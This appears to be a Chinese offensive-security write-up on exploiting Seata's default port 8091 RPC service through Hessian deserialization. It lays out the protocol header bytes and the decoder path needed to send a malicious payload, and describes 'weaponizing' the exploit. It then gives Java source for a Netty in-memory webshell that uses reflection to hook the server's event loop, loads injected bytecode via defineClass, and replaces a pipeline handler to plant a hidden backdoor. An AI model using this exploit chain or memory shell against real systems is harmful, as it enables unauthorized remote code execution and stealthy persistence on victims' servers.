triplexlove@深蓝实验室北京天雄战队

前言

seata默认会开放一个端口8091来接受反序列化数据实现rpc调用。该服务使用的是netty框架,通过netty可以建立socket连接发送请求。服务端在接受到netty请求后,会根据SerializerType来选择反序列化器。当22时为hessian。

seata协议header结构如下:

字节位置

名称

说明

0-1

Magic

固定 0xdada(十进制 -38 -38)

2

Version

默认写 1

3-8

Full Length

整个包长度(header + headMap + body),6字节保留

9

Message Type

0x0b 是请求命令

10

Codec Type

0x16 (22) 是 Hessian 序列化

11

Compressor Type

0x00 表示无压缩

12-15

Message ID

int 类型,随便写,如 1

seata读取header位置如下:

分析

其主要方法为io.seata.core.rpc.netty.v1.ProtocolV1Decoder#decodeFrame,依次读取bytebuf,在读取requestId后会读取body字节数组进行反序列化操作,因此我们只需要构建bytebuf发送给服务端即可。

可以看到当SerializerType为22时返回hessian反序列化器,因此我们只需要rpcMessage.setCodec((byte) 22);即可。



poc

简单实现,依次写入header头结构,此处相当于固定写法,写完id后写入hessian序列化字节。最后发送。

数据处理的方式还可以参考seata的encode方法。

该文章为更改encode实现https://xz.aliyun.com/news/15090

发送是netty的请求方式。

前面的bootstrap为初始化操作,如channelActive为建立连接时的操作,channelRead0为接受服务端数据时的操作。最后connect建立连接。

武器化实现

只需动态修改base64数据即可,其他为固定结构。

netty 内存马实现

使用XsltOnlyJdk分为两步触发。

先使用JavaUtils写xml文件,之后再调用Process函数解析进行任意代码执行。写入文件位置如下。

内存马继承netty的ChannelDuplexHandler类即可

public class Memshell extends ChannelDuplexHandler {

    static {
        try {
            ThreadGroup group = Thread.currentThread().getThreadGroup();
            java.lang.reflect.Field  threads = group.getClass().getDeclaredField("threads");
            threads.setAccessible(true);
            Thread[] allThreads = (Thread[]) threads.get(group);
            System.out.println("start  inject");
            for (Thread thread : allThreads) {
                if (thread != null) {
                    try {
                        Object target;
                        try {
                            target = getFieldValue(
                                getFieldValue(
                                    getFieldValue(thread, "target"),
                                    "runnable"),
                                "val$eventExecutor");
                        } catch (Exception e) {
                            continue;
                        }

                        // NioEventLoop
                        if (target.getClass().getName().endsWith("NioEventLoop"))  {
                            System.out.println("found  nio-event-loop");
                            System.out.println(thread.getName());
                            HashSet set = (HashSet) getFieldValue(
                                getFieldValue(target, "unwrappedSelector"), "keys");
                            if (!set.isEmpty())  {
                                System.out.println("into  kyes");
                                Object keys = set.toArray()[0];

                                // pipeline
                                Object pipeline = getFieldValue(
                                    getFieldValue(keys, "attachment"), "pipeline");
                                System.out.println("pipeline");
                                // 替换 handler
                                Object aggregator = getFieldValue(
                                    getFieldValue(
                                        getFieldValue(pipeline, "head"), "next"), "handler");
                                System.out.println("replace  pipe");
                                // 实例化Initializer
                                Object Initializer = null;
                                ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
                                try {
                                    Initializer = classLoader.loadClass("io.netty.channel.ChannelTemplates").newInstance();
                                    System.out.println("evil  initializer already exists");
                                } catch (Exception e) {
                                    byte[] clazzByte = decodeBase64("");
                                    Method defineClass = ClassLoader.class.getDeclaredMethod(
                                        "defineClass", new Class[]{byte[].class, Integer.TYPE, Integer.TYPE});
                                    defineClass.setAccessible(true);
                                    Class clazz = (Class) defineClass.invoke(
                                            classLoader, new Object[]{clazzByte, Integer.valueOf(0),  Integer.valueOf(clazzByte.length)});
                                    Initializer = clazz.newInstance();
                                    System.out.println("init  initializer success");
                                }
                                // 设置初始化
                                setFieldValue(aggregator, "childHandler", Initializer);
                                System.out.println("success");
                            }
                        }
                    } catch (Exception ignored) {
                    }
                }
            }
        } catch (Exception ignored) {
        }
    }

}

参考文章

https://t.zsxq.com/Nd357

https://xz.aliyun.com/news/15090